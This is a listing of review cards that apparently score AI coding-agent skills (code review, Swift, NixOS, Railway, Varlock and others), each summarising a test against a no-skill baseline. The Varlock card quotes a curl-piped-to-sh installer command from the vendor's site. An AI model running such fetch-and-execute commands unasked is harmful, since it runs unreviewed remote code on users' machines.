- **Cm Code Review** [pass, 8.8/10] — Structured request-review-merge workflow with an anti-bloat checklist and persistent review memory. Repo: https://github.com/tody-agent/codymaster. Card: https://skillproof.dev/skills/cm-code-review. What we found: Asked it to close out a finished feature branch: instead of a generic 'open a PR, ask a teammate' answer, it produced git SHA capture, a reviewer-feedback framework that blocks 'Good catch, fixed' without verification, and a scope-creep/bloat checklist — then logs the outcome to .cm/CONTINUITY.md for next time.
- **Multi-Agent Coordinator** [pass, 8.8/10] — Splits implementation plans into parallel subagent tasks with mandatory review gates. Repo: https://github.com/huangwb8/skills. Card: https://skillproof.dev/skills/multi-agent-coordinator. What we found: Fed it a 3-task signup-validation plan: the skill's dispatch_manifest and required-agent receipts caught what an ad-hoc plan skipped entirely — a mandatory review gate before any task can be marked done.
- **Code Simplification** [pass, 8.8/10] — A disciplined, five-principle process for simplifying code readability without touching behavior. Repo: https://github.com/addyosmani/agent-skills. Card: https://skillproof.dev/skills/code-simplification. What we found: Ran it on a real nested-if discount calculator: a careful baseline rewrite and the skill-guided rewrite both preserved behavior (checked against 12 input combinations in Node, zero mismatches), but only the skill version followed its own advice — one named priceFor() predicate instead of the baseline's unrequested new DISCOUNT_RULES registry, which is exactly the 'unnecessary abstraction' trap the skill's Red Flags section warns against.
- **NanoClaw Container Debug** [pass, 8.8/10] — Diagnose NanoClaw's containerized agent runtime via its two SQLite session DBs and logs. Repo: https://github.com/nanocoai/nanoclaw. Card: https://skillproof.dev/skills/debug. What we found: Fed it a simulated '401 + container exits immediately' failure and it traced straight to the real cause via its own playbook — OneCLI selective secret mode — with the exact one-line fix (`onecli agents set-secret-mode --id <agent-id> --mode all`); a generic Docker-debugging pass has no way to know that command exists. The catch: every path, DB schema, and CLI name is specific to this one repo, so it's only useful if your project actually is NanoClaw.
- **KubeSphere DevOps Jenkins Configuration** [pass, 8.8/10] — Kubectl/CasC playbook for KubeSphere's embedded Jenkins: auth, agents, builds, and troubleshooting. Repo: https://github.com/kubesphere/kubesphere. Card: https://skillproof.dev/skills/kubesphere-devops-jenkins. What we found: Asked it to fix a post-OIDC Jenkins CrashLoopBackOff and then trigger a build: it supplied KubeSphere-specific details a generic Jenkins answer would miss entirely, including the `kubesphere-devops-system` namespace, the `jenkins-casc-config` ConfigMap, and the nested folder/pipeline/branch job URL pattern (a generic flat `/job/<name>/build` guess 404s against KubeSphere's actual Jenkins job tree). One 'Further reading' link points to the author's local `/root/go/...` path rather than anything in this repo.
- **Migrating To Swift Concurrency** [pass, 8.8/10] — Apple's official Swift 6 concurrency migration guide, packaged as a skill Repo: https://github.com/kylehughes/the-unofficial-swift-concurrency-migration-skill. Card: https://skillproof.dev/skills/migrating-to-swift-concurrency. What we found: It's literally Apple's public migration guide re-packaged with an index — solid and honest, but because that guide is already deep in Sonnet's training data, a baseline answer to a real Sendable-crossing-actor-boundary bug came out nearly identical to the skill-guided one; the skill's edge is citing exact compiler wording and the Boundaries.swift reference pattern rather than teaching anything new.
- **Shiplog** [setup, 8.8/10] — Turns GitHub issues/PRs into a signed, queryable knowledge graph of your work Repo: https://github.com/devallibus/shiplog. Card: https://skillproof.dev/skills/shiplog. What we found: Real friction found: the SKILL.md's own Verb Grid says each /shiplog phase file 'owns policy, templates, and acceptance checklist,' but those commands/shiplog/*.md files live at the repo root, outside skills/shiplog/ — a plain cp -r of the assigned path silently drops them. Once both directories are copied, the skill produces genuinely more useful artifacts than a generic 'file an issue' answer: real gh issue create commands, envelope YAML, tiered task contracts, and provenance signatures.
- **Flame Harness** [setup, 8.8/10] — Orchestrator that drives an 11-phase Flutter/Flame game pipeline from idea to app-store submission. Repo: https://github.com/tjdrhs90/flutter-flame-harness. Card: https://skillproof.dev/skills/flame-harness. What we found: Simulating a fresh bootstrap for 'a chill pixel-art fishing game', it correctly refused to invent a fake developer/company identity when store-metadata.md was missing and asked the user instead of the usual placeholder-and-move-on approach; but the orchestrator dispatches to 11 sibling flame-harness-* skills and a protocol doc living outside its own folder, so copying just this one directory per the standard install line leaves it unable to run.
- **Agnes AI Skill** [pass, 8.8/10] — CLI-first integration layer for Agnes AI text, image, and video generation. Repo: https://github.com/jomeswang/agnes-ai-skill. Card: https://skillproof.dev/skills/agnes-ai-skill. What we found: Actually ran the CLI it tells agents to use: `npx -y agnes-ai-cli@^0.1.0 --help` and `auth check` both matched the skill's documented command map and auth-missing behavior exactly, live -- the docs aren't just aspirational, the package is real and in sync.
- **Agile V Behavioral** [pass, 8.8/10] — Anti-pattern guardrails (no silent assumptions, no scope creep) for Agile V coding agents Repo: https://github.com/Agile-V/agile_v_skills. Card: https://skillproof.dev/skills/agile-v-behavioral. What we found: Ran a real REQ side by side: without the skill I shipped a 4-class exception hierarchy and a configurable regex nobody asked for; with it, one traceable function plus explicit TC-0031 test cases — the exact anti-pattern its own docs warn against, eliminated in practice.
- **API Integration Builder** [pass, 8.8/10] — Scaffolds a typed API client with retry, rate limiting, and auth from a spec Repo: https://github.com/Toowiredd/claude-skills-automation. Card: https://skillproof.dev/skills/api-integration-builder. What we found: Real A/B on a 1-endpoint Weatherly client: baseline silently dropped the explicitly-requested rate limiting; the skill's modular output (separate auth/retry/rate-limiter/errors files) delivered it correctly out of the box. Docked a docs point because the SKILL.md hardcodes the original author's output path (/home/toowired/.claude-artifacts/...) as if universal.
- **Apple Engineer Superpowers** [pass, 8.8/10] — Swift 6 concurrency, SwiftUI, Metal, and RealityKit/visionOS engineering standards for Apple platform code. Repo: https://github.com/piemonte/apple-engineer-superpowers. Card: https://skillproof.dev/skills/apple-engineer-superpowers. What we found: Skill-guided version of a Swift network service swapped a force-unwrapped URL and a plain class for an actor, a Sendable LocalizedError enum, and a protocol seam for DI -- baseline (unguided) code had none of that by default.
- **Railway** [pass, 8.8/10] — Runs the Railway CLI for you: status, logs, deploy, vars, health checks. Repo: https://github.com/mshumer/claude-skill-railway. Card: https://skillproof.dev/skills/railway. What we found: Ran it for real against a live linked Railway project (Quantium AI): `railway status`/`domain`/`deployment list` executed exactly as the skill's status workflow prescribes and produced a cleanly organized report, but the skill's auto-recovery only handles 'project not linked' — it has no branch for 'project linked, no service selected,' which is exactly the state the real project was in, so `domain` and `deployment list` errored and the skill gave no guidance on `railway service`.
- **Varlock** [setup, 8.8/10] — Teaches Claude to never echo secrets — validates .env vars through the Varlock CLI instead of cat/echo. Repo: https://github.com/wrsmith108/varlock-claude-skill. Card: https://skillproof.dev/skills/varlock. What we found: Asked to add and verify a STRIPE_SECRET_KEY without leaking it into chat: both baseline and skill avoided printing the raw value, but only the skill produced the actual working commands (`varlock load`, `.env.schema` @sensitive annotations, masked ▒▒▒▒▒ output) — real friction is that `varlock` is a separate CLI you must install first (`curl -sSfL https://varlock.dev/install.sh | sh`), clearly disclosed in the skill's own Quick Start.
- **Memory Systems** [pass, 8.8/10] — Picks the right memory layer (file/vector/graph/temporal-graph) per requirement instead of one-size-fits-all Repo: https://github.com/mjunaidca/mjs-agent-skills. Card: https://skillproof.dev/skills/memory-systems. What we found: Actually ran the bundled scripts/memory_store.py and scripts/verify.py against a real Python interpreter (not simulated): both executed cleanly, and the temporal-graph code correctly built a session, stored a fact, and returned entity context -- the skill's code examples are functional, not decorative.
- **Agentic Code Review** [pass, 8.8/10] — Structured P0-P3 diff review: correctness, security, tests, perf, before merge. Repo: https://github.com/DominikTobureto/awesome-grok-build. Card: https://skillproof.dev/skills/agentic-code-review. What we found: Reviewed a diff with a planted auth-middleware drop, a privilege-escalation bug, and a raw SQL injection: the baseline prose review caught all three but the skill's P0-P3 format turned each into a scannable, actionable finding with exact file:line, concrete fix code, and a paired regression-test suggestion.
- **Payment Advisor** [setup, 8.8/10] — Recommends one payment provider (Stripe/MP/Wompi/Lemon Squeezy) with real fee math, no vendor talk. Repo: https://github.com/Hainrixz/agente-pagokit. Card: https://skillproof.dev/skills/payment-advisor. What we found: Ran the full filter+score pipeline by hand against the real providers.json/regions.json/methods.json for a Mexican solo-founder SaaS: it correctly excluded Wompi (no MX coverage) and Lemon Squeezy (no OXXO), ranked Mercado Pago over Stripe for an individual LatAm seller, and caught something the baseline missed entirely -- Mercado Pago's currency list has no USD, directly conflicting with the user's stated 'price in USD' requirement.
- **AI Coding Agent Setup** [pass, 8.8/10] — Sets up AGENTS.md, packaged skills, and MCP tooling so AI coding agents understand and self-improve on a codebase. Repo: https://github.com/markpitt/claude-skills. Card: https://skillproof.dev/skills/ai-coding-agent-setup. What we found: Asked it to write an AGENTS.md for a small Flask repo: the skill-guided output hit every recommended section (setup, testing with an explicit 'run before marking complete' rule, code style, security, operational context) while my unguided baseline degenerated into the exact vague 'follow good coding practices' anti-pattern the skill's own mistakes table warns against.
- **DevExpress Blazor AI Chat** [setup, 8.8/10] — Wires up DevExpress's DxAIChat Blazor component end to end — BYOK OpenAI/Azure/Ollama chat UI, v26.1 API only. Repo: https://github.com/DevExpress/agent-skills. Card: https://skillproof.dev/skills/devexpress-blazor-ai-chat. What we found: No dotnet SDK available in the test environment and DxAIChat needs a paid DevExpress license to compile, so this was scored on documented-correctness evidence: the skill's own troubleshooting/'obsolete API' tables read almost like a checklist of exactly the mistakes a baseline (non-skill) answer would make — Temperature/MaxTokens properties, args.Content, ChatClientServiceKey, sync SendMessage — all things v26.1 removed or renamed.
- **Convex Agent** [pass, 8.8/10] — Teaches the exact @convex-dev/agent API for threads, streaming, and tool-calling agents. Repo: https://github.com/PolarCoding85/convex-agent-skillz. Card: https://skillproof.dev/skills/convex-agent. What we found: Real repo-vs-doc bug found: SKILL.md links references/RAG.md but the file on disk is actually RAG.mD, which 404s on a raw GitHub fetch (case-sensitive) even though 10 other reference links resolve fine. On the actual task (wire up a Convex support-chat action), the skill output used the real @convex-dev/agent package (saveMessage + asTextAction, persistent threads) where the baseline reinvented a hand-rolled messages table and manual OpenAI call with no streaming or retry-safe message IDs — a substantive, non-cosmetic difference this skill exists to prevent.
- **XML To Compose** [pass, 8.8/10] — Converts Android XML layouts to idiomatic Jetpack Compose with modifier-order rules. Repo: https://github.com/singhsume123/xml-to-compose-skill. Card: https://skillproof.dev/skills/xml-to-compose. What we found: Ran a real login-screen XML through both baseline and skill: the skill version caught the app:endIconMode="password_toggle" attribute and added the eye-icon visibility toggle that my unguided baseline conversion silently dropped, plus consistent dimensionResource()/Material3 usage.
- **Committing Code** [pass, 8.8/10] — Groups pending git changes into logical Conventional Commits, with a secrets guard and an approval pause before each commit. Repo: https://github.com/alexei-led/cc-thingz. Card: https://skillproof.dev/skills/committing-code. What we found: Ran it for real on a throwaway repo with three unrelated pending changes (a bug fix, a new test file, a new README): the skill's own read-only gather script correctly flagged the mixed-purpose diff, and it produced three clean Conventional Commits (fix/test/docs) versus a naive baseline of one lumped, unconventionally-worded commit.
- **Aurelius Mapping** [setup, 8.8/10] — Maps Delphi classes to relational tables with TMS Aurelius ORM attributes, including lifetime-safety rules. Repo: https://github.com/tmssoftware/skills. Card: https://skillproof.dev/skills/aurelius-mapping. What we found: Real A/B on a legacy-schema invoice mapping: the baseline write manually freed the many-to-one association and used TObjectList with OwnsObjects=True — exactly the two Aurelius lifetime bugs the skill exists to prevent; the skill-guided version used Proxy<T>, a plain TList<T> container, and a RegisterEntity call, correctly avoiding both. Two diagram images cited from references/mapping.md (../images/inheritance-*.png) don't exist anywhere in the repo, a minor but real broken reference.
- **Dev Ones App** [setup, 8.8/10] — Spec-backed workflow for building and packaging ONES Apps (.opkx) via the ones CLI. Repo: https://github.com/ONES-com/agent-skills. Card: https://skillproof.dev/skills/dev-ones-app. What we found: The evidence-first discipline is real: told to design a webhook-configurable settings page, it refused to invent manifest fields or event names and instead planned to fetch `.ones/ones-app-specs` first — but that spec directory only exists after `ones login` against a real ONES account, so the skill can't complete a single task in an unauthenticated sandbox.
- **NixOS** [pass, 8.8/10] — Auto-updated NixOS/Nix manual, nix.dev tutorials, and Nix Pills wired into a topic-to-file routing table. Repo: https://github.com/marceloeatworld/nixos-ai-skill. Card: https://skillproof.dev/skills/nixos. What we found: Asked it to write a NixOS module exposing services.myapp.enable; grounded in references/nixos-writing-modules.md it surfaced the ExecStart escaping caveat (utils.escapeSystemdExecArg) that a generic from-memory answer skipped entirely.
- **Stitch Setup** [setup, 8.8/10] — Walks you through connecting the Stitch MCP server and installing the stitch-kit plugin. Repo: https://github.com/gabelul/stitch-kit. Card: https://skillproof.dev/skills/stitch-setup. What we found: The troubleshooting table catches a real, non-obvious gotcha (projectId/screenId must be numeric only, no 'projects/' prefix) that a generic MCP-setup answer would not know; but the whole skill hinges on manually getting a Stitch API key from stitch.withgoogle.com/settings first.
- **Agenisea** [pass, 8.8/10] — Researches and drafts a multi-agent system architecture blueprint from a workflow description. Repo: https://github.com/agenisea/ai-design-engineering-cc-plugins. Card: https://skillproof.dev/skills/agenisea. What we found: Actually ran the mandated research-first step live (WebSearch on 2026 multi-agent resilience patterns) and it fed concrete, current production patterns - the 3-state circuit breaker, a named fallback hierarchy, and an 8-item go-live checklist - straight into the blueprint; a baseline answer produced from memory alone skipped research entirely and stayed generic.
- **Dify Workflow CLI** [setup, 8.8/10] — Create, edit, and validate Dify workflow DSL YAML from the command line Repo: https://github.com/Akabane71/dify-workflow-cli. Card: https://skillproof.dev/skills/dify-workflow. What we found: Ran the real CLI end to end (create, validate, checklist, layout, mermaid export) and it produced a schema-valid Dify DSL on the first try; a hand-written baseline DSL failed the same validator with 3 missing-field errors. Caveat: the Python package (pyproject.toml, dify_workflow/) lives at the repo root, not inside skills/dify-workflow/, so the documented cp -r single-folder copy leaves `dify-workflow` uninstalled — you must clone the whole repo and `pip install -e .` from the root, then separately copy the skill folder.
- **Adversarial Reviewer** [pass, 8.8/10] — Three isolated subagent personas (Saboteur, New Hire, Security Auditor) hostile-review your diff in parallel. Repo: https://github.com/mhylle/claude-skills-collection. Card: https://skillproof.dev/skills/adversarial-reviewer. What we found: Applied its three persona lenses (Saboteur/New Hire/Security) to a deliberately buggy TTLCache and it surfaced a real stale-value-after-expiry bug plus an API-contract ambiguity my plain baseline review missed — but I couldn't verify its actual differentiator (true parallel-subagent isolation) since this benchmark run forbade spawning subagents, which is exactly the anti-pattern the skill's own doc warns against.
- **Grill** [pass, 8.8/10] — Adversarial one-question-at-a-time interrogation of a plan, grounded in the actual codebase. Repo: https://github.com/Kanevry/session-orchestrator. Card: https://skillproof.dev/skills/grill. What we found: Grilled a 'password-reset in 2 days' plan against a small stub codebase and it immediately surfaced a real, load-bearing code contradiction — verifyPassword() unconditionally returns true and verifyToken() always resolves to the same fake user — turning a generic checklist review into a concrete account-takeover finding a plain baseline pass missed.
- **Dynare Copilot** [setup, 8.8/10] — Derivation-first Dynare .mod writer/debugger with strict timing and naming rules Repo: https://github.com/EconSolider/dynare-copilot. Card: https://skillproof.dev/skills/dynare-copilot. What we found: Its R5 naming rule alone (never name a var/parameter i, e, E, or alpha/beta as-spelled - they silently collide with Dynare/MATLAB reserved tokens) catches a real, well-documented class of Dynare footgun that a naive from-memory .mod hits immediately; full auto-run-and-debug needs a paid MATLAB license (or Octave) plus a MATLAB MCP server, and several reference files ship a hardcoded `C:\dynare\7.1\...` default path flagged 'change this for your machine.'
- **Java Cache** [pass, 8.8/10] — Spring Boot cache setup, review checklist and eviction patterns for Redis and Caffeine. Repo: https://github.com/ducpm2303/claude-java-plugins. Card: https://skillproof.dev/skills/java-cache. What we found: Baseline Spring caching advice already covers the annotations correctly, but the skill's checklist catches a real bug baseline glossed over — the @Cacheable proxy-bypass footgun when a method calls itself on the same bean — plus it forces explicit maximumSize/TTL and actuator cache-metrics steps baseline would only add if asked.
- **Smalltalk Debugger** [setup, 8.8/10] — Pharo/Smalltalk error-diagnosis and Transcript-logging workflow for AI coding agents. Repo: https://github.com/mumez/smalltalk-dev-plugin. Card: https://skillproof.dev/skills/smalltalk-debugger. What we found: Solid Pharo-specific debugging playbook (Tonel-only edits, printString-safe MCP returns, NonInteractiveTranscript for headless output) that clearly beats generic debugging advice on a real comparison — but it only does anything wired to the plugin's smalltalk-interop/smalltalk-validator MCP servers and a live Pharo image, none of which travel with a standalone copy of just the skill folder.
- **MECE** [pass, 8.8/10] — Scores any spec/plan/PRD for overlaps and gaps (Mutually Exclusive, Collectively Exhaustive) and asks before fixing. Repo: https://github.com/uxderrick/mece-skill. Card: https://skillproof.dev/skills/mece. What we found: Ran a fresh 6-item notification-system spec (not one of the skill's own worked examples) through both a baseline and a skill-guided pass: the baseline gave a vague 'looks pretty solid, maybe add SMS' reaction and never caught that 'Notification preferences' and 'User notification settings' were the same concept under two names; the skill's Step 2 mutual-exclusivity test caught that overlap explicitly, scored the spec 50/100, tagged two critical gaps (no SMS/text channel, no unsubscribe/compliance layer) and two moderate gaps (batching/throttling, template management), then correctly stopped and asked before fixing per its own hard rule. Fully self-contained -- SKILL.md, framework.md, and examples.md all live inside skills/mece/ with zero external or plugin-host dependencies, so the plain git-clone-and-cp-r install actually works as documented.
- **Architecture Anti-Patterns** [pass, 8.8/10] — Named vocabulary and consequence-framing for spotting god objects, tight coupling, and shared-DB coupling. Repo: https://github.com/sethdford/claude-skills. Card: https://skillproof.dev/skills/architecture-anti-patterns. What we found: Reviewed a fictional order/inventory/pricing architecture with synchronous chaining, a shared DB, and an N+1 loop: the skill named each pattern precisely (Tight Coupling/cascade failure, Database as Integration Point, N+1 Query Problem) and added stakeholder-ready framing, but the underlying technical findings matched what a baseline review already caught.
- **Swift Modern Architecture Skill** [pass, 8.8/10] — Forces Swift 6/iOS 18+ idioms (Observable, SwiftData, async/await) over legacy patterns. Repo: https://github.com/fal3/claude-skills-collection. Card: https://skillproof.dev/skills/swift-modern-architecture-skill. What we found: Asked for a SwiftUI list-loading view model with no other guidance: baseline defaulted to ObservableObject + completion handlers + NavigationView; following the skill produced @Observable + async/await + an actor API client + NavigationStack + ContentUnavailableView for the error state — a concrete, current-API upgrade.
- **Actually LSP Doctor** [setup, 8.8/10] — LSP setup diagnostic and fixer for Rust/TS/Ruby, but only as a full plugin. Repo: https://github.com/technicalpickles/pickled-claude-plugins. Card: https://skillproof.dev/skills/actually-lsp-doctor. What we found: The state-machine logic is genuinely good and I ran it for real (detect_ecosystems + write_state against a throwaway TS project, correct output both times) — but SKILL.md's own Step 1 sources lib/detect.sh, lib/ecosystems.sh, lib/state.sh and CONTEXT.md from "the plugin root ($CLAUDE_PLUGIN_ROOT)", none of which ship inside skills/actually-lsp-doctor/, so the mandated bare skill-folder copy is dead on arrival.
- **Creative Code Lab** [pass, 8.8/10] — Reference guide for generative art: flow fields, L-systems, shaders, particle text, polar art. Repo: https://github.com/sacredvoid/skillkit. Card: https://skillproof.dev/skills/creative-code-lab. What we found: Ran a real A/B: baseline naive particle bounce vs the skill's Perlin-flow-field class with trail fade, HSL color mapping, and devicePixelRatio/resize handling — visibly more organized code and technique breadth, though the skill's own inline 'noise2D' is a plain hash (not true Perlin), which it honestly flags as 'for production, use a proper noise library' rather than overselling.
- **Agent Comms** [pass, 8.8/10] — Two-stage recipient whitelist check + symlink-safe worktreePath validation for multi-agent SendMessage. Repo: https://github.com/komluk/scaffolding. Card: https://skillproof.dev/skills/agent-comms. What we found: Coded up both the naive baseline matcher and the skill's documented two-stage algorithm and ran them against the skill's own 7 test cases: naive substring/startswith matching let 'evil-developer' and 'developer-evil-extra' through (5/7 correct), the skill's exact-then-single-strip algorithm got all 7/7 right, exactly as claimed. Only ding: the worktreePath check's `realpath -e <path>` command as written errors out on macOS/BSD realpath (no -e flag, GNU-only) -- portable `realpath` (no flag) has to be substituted for the canonicalization to actually run.
- **CI Debug Workflow** [pass, 8.8/10] — Structured reproduce-then-fix workflow for red CI pipelines and containers that won't start. Repo: https://github.com/spences10/skills. Card: https://skillproof.dev/skills/ci-debug-workflow. What we found: A disciplined process skill (reproduce-before-fix, verify-until-green, explicit anti-patterns like masking failures with `|| true`) rather than a knowledge-injection one — the CI-pattern facts it cites are mostly things a baseline agent already knows, so the real value is the forced workflow order and the accompanying SECURITY.md that honestly tells users to review/pin skills before install.
- **Nix Agent Init** [setup, 8.8/10] — Generates AGENT_MAP.md/CLAUDE.md/.mcp.json for a NixOS or Home Manager repo, fact-traced via the nix-agent MCP server. Repo: https://github.com/JEFF7712/nix-agent. Card: https://skillproof.dev/skills/nix-agent-init. What we found: Self-contained SKILL.md with an unusually disciplined no-invention, marker-bounded re-run contract, but it hard-depends on a separate nix-agent CLI+MCP server (a companion project requiring Nix itself, not on npm/brew) that isn't present in a normal environment; simulating the fact bundle by hand still produced grounded, fact-cited AGENT_MAP.md/CLAUDE.md/.mcp.json clearly better than a generic no-skill onboarding doc.
- **Odoo Code Review** [pass, 8.8/10] — Odoo-specific PR review: ORM/sudo/security/performance checklist plus the official Odoo 19 style guide. Repo: https://github.com/mart337i/odoo-skills. Card: https://skillproof.dev/skills/odoo-code-review. What we found: Fed it a deliberately buggy plant.order model (manual cr.commit(), unrestricted sudo().search(), create() in a loop, bare except, missing @api.depends); both baseline and skill caught the obvious anti-patterns, but the skill's forced severity table + checks-run/residual-risks sections produced a materially more auditable, guideline-cited report than a free-form review of the same file.
- **Skill Design Guide** [pass, 8.8/10] — Walks step-by-step through defining, writing, testing, and shipping a Claude Skill, with the real platform constraints baked in. Repo: https://github.com/metaskills/skill-design-guide. Card: https://skillproof.dev/skills/skill-design-guide. What we found: Drafting a 'bug spreadsheet to GitHub issues' skill, the guide's process caught concrete platform gotchas a quick draft misses — non-kebab-case name, a description with no trigger phrases and no negative-trigger boundary, no folder-structure or testing plan — the kind of skill that would upload but silently under-trigger.
- **Summary** [setup, 8.8/10] — Turns a git diff into a structured, linked HTML PR summary — but needs `npm install` first, undocumented. Repo: https://github.com/brsbl/ottonomous. Card: https://skillproof.dev/skills/summary. What we found: Ran it for real on a throwaway git repo: the structured per-file breakdown caught a genuine bug (permanent account lockout with no reset path, and a race condition) that a plain baseline summary glossed over — but the bundled md-to-html.js needs `npm install` for marked/highlight.js first, and that step is nowhere in the SKILL.md.
- **WebSearch (Exa Power Search)** [setup, 8.8/10] — Intent-routed Exa MCP search with quick/deep/code/docs/debug/news/compare modes and forced citations. Repo: https://github.com/mirkobozzetto/arsenal. Card: https://skillproof.dev/skills/websearch. What we found: Well-engineered 4-step router (triage -> search -> deep-iterate -> report) with a hard 3-pass budget and 'never fabricate, cite every claim' rule enforced at the synthesis step -- but it hard-requires the Exa MCP server (mcp__exa__*) which isn't bundled or available in this environment, so the routing/formatting logic could only be evaluated on paper, not live-executed.
- **Goodcode** [pass, 8.8/10] — Portable exhaustive multi-agent audit/review protocol: roles, adversarial verify, loop-until-dry. Repo: https://github.com/SpinaBuilds/goodcode. Card: https://skillproof.dev/skills/goodcode. What we found: A/B'd on a throwaway 34-line Python file with a planted SQL injection, a missing-authz delete, and an off-by-one bug: unassisted baseline found the bugs but buried the missing-authz issue as a vague aside, while following the skill's role/verify/score protocol surfaced it as a verified, severity-ranked IDOR-shaped finding and raised a genuinely new open question (is_admin field exposure) baseline never touched.
- **Orchard Core A2A Client** [pass, 8.8/10] — Config reference for CrestApps' Orchard Core A2A Client feature: connections, auth types, and profile wiring. Repo: https://github.com/CrestApps/CrestApps.AgentSkills. Card: https://skillproof.dev/skills/orchardcore-ai-a2a-client. What we found: Single self-contained file (no external script/${CLAUDE_PLUGIN_ROOT} dependencies, unlike the repo's own A2A host skill), and it's specific enough to be genuinely useful: exact feature IDs, the admin-UI click path, and the 7-value auth-type enum a baseline answer would have to guess at.
- **Go Control Structures** [pass, 8.8/10] — Catches Go's classic range/break/defer-in-loop footguns during code review. Repo: https://github.com/v0lka/skills. Card: https://skillproof.dev/skills/go-control-structures. What we found: Reviewed a 3-bug Go file (range-pointer trap, defer-in-loop leak, break-only-exits-switch) both with and without the skill: both passes caught all 3 bugs, but the skill-guided pass named each pitfall by its canonical category and explicitly confirmed the absence of the other two rule categories (range-copy mutation, map-iteration hazards) — a checklist-style completeness guarantee the freeform baseline review didn't offer.
- **.NET Clean Architecture Scaffolder** [pass, 8.8/10] — Scaffolds a compile-ready .NET Clean Architecture solution across four layers Repo: https://github.com/ronnythedev/dotnet-clean-architecture-skills. Card: https://skillproof.dev/skills/dotnet-clean-architecture. What we found: Followed the skill body verbatim to scaffold a 4-project solution and pasted in its exact Entity, Result<T> and CQRS abstraction code, then compiled with the real .NET 8 SDK: dotnet build succeeded with 0 warnings and 0 errors. An unguided baseline also compiles, so the edge is the enforced discipline (Result-everywhere, CQRS marker interfaces, inward dependency rule) delivered as tested, ready-to-build code rather than a demonstrated baseline failure.
- **Code Walkthrough** [pass, 8.8/10] — Interactive code walkthrough that runs each section and shows real output Repo: https://github.com/dariia-m/my_claude_skills. Card: https://skillproof.dev/skills/code-walkthrough. What we found: Ran a real pandas pipeline both ways: following the skill executed it section by section and surfaced that dropna() silently removed exactly 2 of 8 rows (one missing score, one missing group) and that group means are computed on the post-drop data - specifics a read-only description glossed over. The skill's execution rule forces showing actual dim/head/summary output and the written result.csv instead of narrating from memory. The delta is real teaching value for anyone inheriting analysis code. Trigger verbs like explain and review are broad enough to risk mis-firing on non-code requests.
- **API Doc Generator** [pass, 8.8/10] — Turns source code into structured API docs with a completeness-enforcing template Repo: https://github.com/JackyST0/awesome-agent-skills. Card: https://skillproof.dev/skills/api-doc-generator. What we found: Fed it a fresh 3-endpoint FastAPI app with Bearer auth and pagination; the bundled template forces slots a freehand pass routinely drops — a dedicated Authentication table, query-parameter default values (limit=10, offset=0), and per-endpoint error responses (404 and 401), plus a global error-codes and rate-limit section. The template shipped in templates/api-doc.md is actually richer than the SKILL.md body advertises. Clean, no scripts or network calls.
- **Rust Dev** [pass, 8.8/10] — Enforces FAIL FAST Rust: propagate every error, thiserror/anyhow, edition 2024 Repo: https://github.com/onsails/cc. Card: https://skillproof.dev/skills/rust-dev. What we found: Ran the bundled check_crate_version.py live and it hit crates.io, returning serde 1.0.228 in ready-to-paste x.x form. On a 'read a port from a config file' task the no-skill baseline reached for unwrap_or_default() and unwrap_or(8080), silently swallowing a missing file and a bad value; under the skill's FAIL FAST rule the same function propagated both failures through a typed thiserror enum with source chains, which is exactly the anti-pattern the skill targets. No Rust toolchain was present so nothing was compiled, but the error-handling delta is concrete and objectively assessable. Install copies cleanly from a bare HOME and all three reference docs plus the workspace template exist.
- **Divi 5 Compatibility** [pass, 8.8/10] — Divi 5.6 CSS compatibility reference: specificity fixes, units, breakpoints, bug history Repo: https://github.com/cjsimon2/Divi5-ToolKit. Card: https://skillproof.dev/skills/divi5-compatibility. What we found: Asked for 'black Divi buttons with square corners': the no-skill baseline emitted a plain .et_pb_button rule that Divi's higher-specificity inline styles are documented to override, while the skill produced the body-prefixed !important form Divi actually requires. The SKILL.md is a genuinely accurate Divi 5.6 reference with unit-support tables, correct breakpoint widths, specificity rules, and a version-by-version bug-fix history that lines up with Elegant Themes' own docs. The delta is knowledge-verified against Divi's documented cascade behavior rather than live-rendered, since a real Divi/WordPress install is paywalled. Installs clean as a standalone skill; note it is marked user-invocable:false, so it activates through the model only.
- **Agent Scaffolder** [pass, 8.8/10] — Turns an Agent Build Spec into a runnable Python agent: loop, permissions, logs Repo: https://github.com/xuanhieu2611/build-your-own-agents-skill. Card: https://skillproof.dev/skills/agent-scaffolder. What we found: Scaffolded the repo's support-agent build spec both ways and compiled and smoke-tested both under Python 3.13. The no-skill baseline came out as one working 170-line file; the skill run produced a 6-module project whose extras all passed live runtime checks: a DENY permission path read from tool contracts, per-tool timeouts and declared side effects, a system prompt re-templated with live session state each turn, token accounting, and per-event JSON logs. The full agent loop itself needs an ANTHROPIC_API_KEY, so live-loop behavior was not measured — the comparison is on compiled, executed structure. Docs promise 'production-grade' output, which is fair for a scaffold with mock executors clearly marked for replacement.
- **FEC API Integration** [pass, 8.8/10] — Frontend API client discipline: typed boundaries, error mapping, auth refresh Repo: https://github.com/bovinphang/frontend-craft. Card: https://skillproof.dev/skills/fec-api-integration. What we found: Built a typed React-app API client with auth refresh both ways and compiled both under strict tsc, then ran the same mocked-fetch scenario against each: the baseline fired 3 refresh requests for 3 concurrent 401s (a real refresh-storm bug), while the skill version's mandated single-flight queue fired exactly 1 — verified by an executed test. The skill version also passed 7 behavior tests the baseline could not (timeout/cancellation via AbortController, 422 field-error mapping with retryable flags, non-retryable 403, trace-id retention, non-JSON 500 bodies mapped to a safe message with no backend internals leaked, pre-signed direct upload for large files). The prose reads like machine translation, but every rule in it turned out to be concrete and testable.
- **Ponytail Audit** [pass, 8.8/10] — Whole-repo over-engineering audit: a ranked delete/simplify/replace list with net-line count Repo: https://github.com/DietrichGebert/ponytail. Card: https://skillproof.dev/skills/ponytail-audit. What we found: Audited a 36-line over-engineered Python file both ways: the skill produced five ranked findings each naming the exact fix (s[::-1], sum(), dict.fromkeys(), json.load) with line ranges and a 'net: -28 lines' total, catching the O(n^2) dedupe and the never-read config flag. The no-skill baseline gave hedged prose with no line numbers, no replacement code, and no quantified payoff. For the stated goal of finding what to delete, the skill output is measurably more actionable.
- **Git PR Description** [pass, 8.8/10] — Turns branch diff into a structured PR title and description with per-module test cases Repo: https://github.com/deancourse/git-worktree-demo. Card: https://skillproof.dev/skills/git-pr-description. What we found: Ran it live on a two-commit feature branch (a FAQ accordion change and an API token-refresh fix): the skill's git log/diff commands worked verbatim and it enforces checkable rules a baseline drops - a conventional-commit title, zero file paths in the body, and exactly one test case per changed module (2 modules produced 2 cases). The template file it references exists and matches the documented structure.
